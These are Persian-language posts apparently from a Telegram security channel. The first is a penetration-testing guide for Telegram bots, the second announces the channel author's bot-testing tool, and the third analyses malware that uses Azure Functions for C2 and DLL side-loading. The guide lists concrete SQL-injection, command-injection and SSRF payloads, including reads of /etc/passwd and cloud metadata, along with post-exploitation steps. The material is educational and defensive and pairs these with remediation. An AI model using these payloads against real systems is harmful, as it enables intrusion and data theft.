* کنترل دسترسی شکسته (Broken Access Control): آیا کاربران عادی می‌توانند به دستورات مدیریتی (مانند /admin , /panel , /users) دسترسی پیدا کنند؟

* جعل درخواست سمت سرور (SSRF): اگر ربات قابلیتی برای دریافت URL از کاربر و پردازش آن دارد (مثلاً برای پیش‌نمایش لینک یا دانلود فایل)، می‌تواند به SSRF آسیب‌پذیر باشد.

* آسیب‌پذیری‌های فایل (File Vulnerabilities): اگر ربات فایل آپلود یا دانلود می‌کند، می‌تواند به Path Traversal (LFI/RFI) یا آپلود فایل‌های مخرب آسیب‌پذیر باشد.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍1
Mr. SAM
#telegram_bot تست نفوذ و امن‌سازی ربات‌های تلگرام (از شناسایی تا بهره‌برداری) مقدمه: معماری و سطح حمله (Attack Surface) برخلاف تصور اولیه، تست نفوذ یک ربات تلگرام، آزمودن زیرساخت خود تلگرام نیست. آسیب‌پذیری‌ها تقریباً همیشه در سرور پشتیبان (Backend Server)…
فاز ۳: بهره‌برداری (Exploitation)

این فاز، اجرای عملی فرضیه‌های مطرح شده در فاز قبل است.

#**۳.۱. تست آسیب‌پذیری‌های تزریق**

۔* SQL Injection (SQLi):

* مثال: رباتی با دستور /userinfo {username}

* پیلودهای تست:

۔* Boolean-based: ارسال ' OR 1=1-- و ' OR 1=2-- و مشاهده تفاوت در پاسخ.

۔* Time-based: ارسال ' OR IF(1=1, SLEEP(5), 0)-- و مشاهده تأخیر ۵ ثانیه‌ای در پاسخ.

۔* Error-based: ارسال کاراکترهای خاص مانند ' , " برای استخراج پیام خطای دیتابیس.

* ابزار: SQLMap می‌تواند برای خودکارسازی این فرآیند استفاده شود، البته نیازمند یک اسکریپت واسط برای ارسال درخواست‌ها از طریق API تلگرام است.

۔* Command Injection (RCE):

* مثال: رباتی با دستور /ping {host} که یک آدرس IP را پینگ می‌کند.

* کد آسیب‌پذیر (مثال پایتون): os.system("ping -c 1 " + host)

* پیلودهای تست:

۔* 8.8.8.8; id
۔* 8.8.8.8 && whoami
۔* 8.8.8.8 | cat /etc/passwd
۔* `` ls -la `` (backticks)

* هدف، اجرای دستورات دلخواه بر روی سیستم‌عامل سرور است.

**۳.۲. تست جعل درخواست سمت سرور (SSRF)

* **مثال:
رباتی با دستور /preview {URL}

* پیلودهای تست:

* دسترسی به سرویس‌های داخلی: http://localhost , http://127.0.0.1:8080

* خواندن فایل‌های محلی: file:///etc/passwd , file:///c:/windows/win.ini

* دسترسی به متادیتای سرویس‌های ابری: http://169.254.169.254/latest/meta-data/ (در AWS)

۳.۳. تست کنترل دسترسی

* تلاش برای دسترسی مستقیم: به صورت دستی دستورات مدیریتی محتمل را حدس زده و ارسال کنید: /admin , /settings , /broadcast , /get_users .

* دستکاری پارامتر (Parameter Tampering): اگر ربات دستوری مانند /my_orders دارد، سعی کنید با ارسال /orders?user_id=12345 به اطلاعات دیگر کاربران دسترسی پیدا کنید. (این سناریو بیشتر در وب‌اپلیکیشن‌های متصل به ربات کاربرد دارد).

۳.۴. تست منطق برنامه

این نوع تست به خلاقیت و درک عمیق از عملکرد ربات نیاز دارد.

* مثال: در یک ربات رأی‌گیری، آیا می‌توان با یک حساب کاربری چندین بار رأی داد؟ آیا می‌توان با پاک کردن داده‌های ربات ( /clear ) دوباره رأی داد؟

* مثال: در یک ربات مسابقه، آیا می‌توان با ارسال سریع پاسخ‌ها یا دستکاری درخواست‌ها، در زمان تقلب کرد؟

فاز ۴: پس از بهره‌برداری (Post-Exploitation)

در صورت موفقیت در فاز قبل (مثلاً کسب دسترسی RCE)، اقدامات زیر در محدوده مجاز تست قابل انجام است:

* شناسایی محیط: اجرای دستوراتی مانند whoami , id , uname -a , ip a , ps aux برای درک محیط فعلی.

* ارتقای سطح دسترسی (Privilege Escalation): جستجو برای ضعف‌های پیکربندی یا آسیب‌پذیری‌های کرنل برای کسب دسترسی root یا Administrator.

* حرکت جانبی (Lateral Movement): تلاش برای دسترسی به دیگر سیستم‌ها در همان شبکه داخلی.

* استخراج داده‌ها: دسترسی به پایگاه داده، استخراج اطلاعات کاربران، توکن‌ها یا هر داده حساس دیگری.

فاز ۵: گزارش‌دهی و امن‌سازی

یک گزارش تست نفوذ حرفه‌ای باید شامل موارد زیر باشد:

* خلاصه مدیریتی (Executive Summary): توضیح کلی از وضعیت امنیتی و ریسک‌های اصلی برای مدیران.

* جزئیات فنی آسیب‌پذیری‌ها:

* نام آسیب‌پذیری و امتیاز ریسک آن (مثلاً بر اساس CVSS).

* شرح دقیق آسیب‌پذیری و تأثیر آن بر کسب‌وکار.

* مراحل دقیق بازتولید (Steps to Reproduce) همراه با پیلودهای استفاده شده.

* شواهد و مدارک (Screenshots, Logs).

* راهکارهای پیشنهادی برای اصلاح (Remediation): ارائه راهکارهای مشخص، عملی و قابل پیاده‌سازی.

* **اعتبارسنجی سخت‌گیرانه ورودی‌ها (Input Validation):
هرگز به ورودی کاربر اعتماد نکنید. تمام داده‌های دریافتی باید بر اساس یک لیست سفید (Whitelist) از کاراکترها، طول و فرمت مجاز، اعتبارسنجی شوند.

* استفاده از (Parameterized Queries): این راهکار اصلی برای جلوگیری از تمام انواع SQL Injection است. در این روش، کوئری و داده به صورت جداگانه به درایور پایگاه داده ارسال می‌شوند.

* کد آسیب‌پذیر (Python): cursor.execute("SELECT * FROM users WHERE id = %s" % user_id)

* کد امن (Python): cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))

* اصل حداقل دسترسی : پروسس ربات و کاربر پایگاه داده آن باید فقط به منابع و دستوراتی که برای عملکرد صحیح نیاز دارند، دسترسی داشته باشند.

* مدیریت خطای امن: پیام‌های خطا نباید هیچ‌گونه اطلاعات حساسی (Stack Traces, Error Codes, File Paths) را به کاربر نمایش دهند.

* محدودیت نرخ درخواست (Rate Limiting): برای جلوگیری از حملات Brute-force، Denial of Service و abuse منطق برنامه، تعداد درخواست‌های هر کاربر در یک بازه زمانی مشخص باید محدود شود.

@NullError_ir
اخیرا کاری ارزشمند از کانال تلگرامی @HackMeLocal در کامیونیتی فارسی دیدم در مورد چالش تست نفوذ ربات‌های تلگرامی که بسیار جالب بود . ایده ای به ذهنم رسید که ابزاری برای آشنایی بیشتر علاقه‌مندان به این حوزه ایجاد کنم که هم یادگیری باشد و هم تست نفوذ . ابزار TBPenter آماده شد و در گیت‌هاب برای استفاده دوستان قرار گرفت 🌹

@NullError_ir
#Azure_Functions

تحلیل بدافزار پیشرفته‌ای که با سوءاستفاده از Azure Functions از رادارها پنهان می‌شود

محققان امنیت سایبری از شناسایی یک کمپین بدافزاری پیچیده خبر داده‌اند که با بهره‌برداری از سرویس serverless مایکروسافت، یعنی Azure Functions، برای زیرساخت Command and Control (C2) خود استفاده می‌کند. این تکنیک به مهاجمان اجازه می‌دهد تا ترافیک مخرب خود را در قالب ارتباطات مشروع با سرویس‌های ابری مایکروسافت پنهان کرده و از شناسایی بگریزند. این رویکرد نشان‌دهنده تکامل تاکتیک‌های مهاجمان برای ترکیب شدن با محیط‌های سازمانی و افزایش پایداری (persistence) است.


فرایند کشف و تحلیل بدافزار با استفاده از VirusTotal

سرنخ اولیه برای شناسایی این تهدید نوین، از طریق تحلیل یک نمونه مشکوک در پلتفرم VirusTotal به دست آمد. این پلتفرم که سرویس‌های تحلیلی و ده‌ها موتور آنتی‌ویروس را تجمیع می‌کند، به محققان اجازه داد تا به نشانه‌های اولیه از یک فعالیت مخرب پیشرفته دست یابند.

* نشانه‌های اولیه در VirusTotal:

1. نرخ شناسایی بسیار پایین (Low Detection Rate): در زمان آپلود اولیه، تعداد بسیار کمی از موتورهای آنتی‌ویروس قادر به شناسایی فایل‌های مخرب بودند. این خود یک زنگ خطر جدی برای تهدیدات جدید یا بسیار evasive است.

2. تحلیل رفتاری (Behavioral Analysis): گزارش‌های Sandbox در VirusTotal نشان داد که یک فایل اجرایی معتبر و دارای امضای دیجیتال از شرکت Palo Alto Networks (با نام PanGpHip.exe )، در حال برقراری ارتباطات شبکه‌ای مشکوک به یک URL در دامنه azurewebsites.net است. این رفتار برای این پروسس خاص، غیرمنتظره و نامتعارف بود.

3. ارتباطات فایل (File Relationships): تحلیلگر متوجه شد که این فایل اجرایی قانونی، یک فایل DLL بدون امضا و با اعتبار پایین (libwaapi.dll ) را بارگذاری می‌کند که در کنار آن قرار داده شده بود. این الگو به وضوح به استفاده از تکنیک DLL Side-Loading اشاره داشت.

این نشانه‌های کلیدی، محققان را بر آن داشت تا یک تحلیل عمیق و دستی (manual analysis) را آغاز کنند. مهندسی معکوس فایل DLL مخرب، در نهایت منجر به کشف کامل زنجیره حمله، مکانیزم تزریق به حافظه و پروتکل ارتباطی با سرور C2 شد که در ادامه تشریح می‌شود.

جزئیات فنی و زنجیره حمله (Attack Chain):

این حمله چند مرحله‌ای با یک فایل ISO آغاز می‌شود که به عنوان یک درایو نوری مجازی عمل کرده و مکانیزم‌های دفاعی مرورگرها را دور می‌زند. درون این فایل ISO، یک فایل میان‌بر (LNK) مخرب قرار دارد.

1. نقطه ورود (Initial Access):

* عامل تهدید، یک فایل ISO را از طریق روش‌های مهندسی اجتماعی توزیع می‌کند.

* درون فایل ISO، یک فایل LNK به همراه یک فایل اجرایی قانونی PanGpHip.exe و دو فایل DLL (یکی قانونی و دیگری مخرب) پنهان شده‌اند.

2. اجرای اولیه و DLL Side-Loading:

* با کلیک کاربر روی فایل LNK، فایل اجرایی قانونی PanGpHip.exe اجرا می‌شود.

* این فایل اجرایی به دلیل آسیب‌پذیری در نحوه بارگذاری کتابخانه‌های دینامیکی، به جای DLL قانونی، فایل DLL مخرب (libwaapi.dll ) را بارگذاری می‌کند. این تکنیک یک روش مؤثر برای اجرای کد مخرب تحت یک پروسس قابل اعتماد (trusted process) است.

3. تزریق Payload به حافظه (In-Memory Injection):

۔* DLL مخرب پس از بارگذاری، یک shellcode رمزگذاری‌شده را در حافظه رمزگشایی (decrypt) می‌کند.

* سپس این shellcode به یک پروسس قانونی دیگر، یعنی chakra.dll (موتور جاوا اسکریپت Microsoft Edge)، تزریق می‌شود تا ردپای کمتری از خود به جای بگذارد.

4. ارتباط با زیرساخت C2 مبتنی بر Azure Functions:

۔* Shellcode نهایی، مسئول برقراری ارتباط با سرور C2 از طریق ارسال درخواست‌های HTTPS به یک URL خاص در دامنه azurewebsites.net است. از آنجایی که این دامنه متعلق به مایکروسافت است، ترافیک مذکور در نگاه اول مشروع به نظر می‌رسد.

5. جمع‌آوری و استخراج داده (Data Collection & Exfiltration):

* پس از برقراری ارتباط، بدافزار شروع به جمع‌آوری اطلاعات پروفایل قربانی (نام کامپیوتر، نام کاربری، جزئیات سیستم‌عامل و...) کرده و به صورت رمزگذاری شده به سرور C2 ارسال می‌کند.

چرا این حمله پیشرفته و خطرناک است؟

* استفاده از زیرساخت ابری معتبر (Living-off-the-Cloud): سوءاستفاده از Azure Functions شناسایی ترافیک C2 را بسیار دشوار می‌سازد، زیرا مسدودسازی دامنه‌های Azure می‌تواند سرویس‌های قانونی کسب‌وکار را مختل کند.

* زنجیره حمله چندمرحله‌ای و با حداقل ردپا (Low Footprint): اجرای بخش‌های اصلی بدافزار در حافظه، تحلیل forensics را پیچیده کرده و شناسایی توسط آنتی‌ویروس‌های مبتنی بر امضا را ناکارآمد می‌سازد.

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Azure_Functions تحلیل بدافزار پیشرفته‌ای که با سوءاستفاده از Azure Functions از رادارها پنهان می‌شود محققان امنیت سایبری از شناسایی یک کمپین بدافزاری پیچیده خبر داده‌اند که با بهره‌برداری از سرویس serverless مایکروسافت، یعنی Azure Functions، برای زیرساخت…
* گریز از تشخیص (Evasion): ترکیب یک فایل اجرایی معتبر، تکنیک DLL Side-Loading و پنهان‌سازی ترافیک در بستر HTTPS به یک سرویس ابری معتبر، به این بدافزار قدرت گریز بالایی بخشیده است.

راهکارهای مقابله و کاهش ریسک (Mitigation & Defense):

1. نظارت بر ترافیک شبکه (Network Traffic Monitoring):

* به جای blacklisting ، ترافیک خروجی به سرویس‌های ابری مانند Azure را برای یافتن الگوهای غیرعادی (مانند beaconing منظم یا ارتباط از سوی پروسس‌های نامرتبط) تحلیل کنید.

* از ابزارهای SSL/TLS Inspection (Decryption) برای بازرسی محتوای ترافیک رمزگذاری شده استفاده کنید.

2. تقویت امنیت Endpoint (Endpoint Hardening):

* از راه‌حل‌های EDR (Endpoint Detection and Response) برای شناسایی تکنیک‌هایی مانند DLL Side-Loading و تزریق به حافظه استفاده کنید.

* قوانین Attack Surface Reduction (ASR) را در Microsoft Defender برای جلوگیری از اجرای کدهای مشکوک توسط فایل‌های LNK فعال کنید.

3. آموزش و آگاهی‌رسانی کاربران:

* کاربران را در مورد خطرات فایل‌های ISO و LNK آموزش دهید و بر لزوم احتیاط در اجرای فایل‌های دانلودی تأکید کنید.

4. تحلیل بدافزار و Threat Hunting:

* به صورت فعالانه (proactive) به دنبال Indicators of Compromise (IoCs) مرتبط با این کمپین، مانند هش فایل‌ها یا URLهای خاص azurewebsites.net ، باشید.

* کمپین‌های Threat Hunting را با تمرکز بر جستجوی لاگ‌های اجرای پروسس برای یافتن موارد مشکوک از PanGpHip.exe اجرا کنید.

@NullError_ir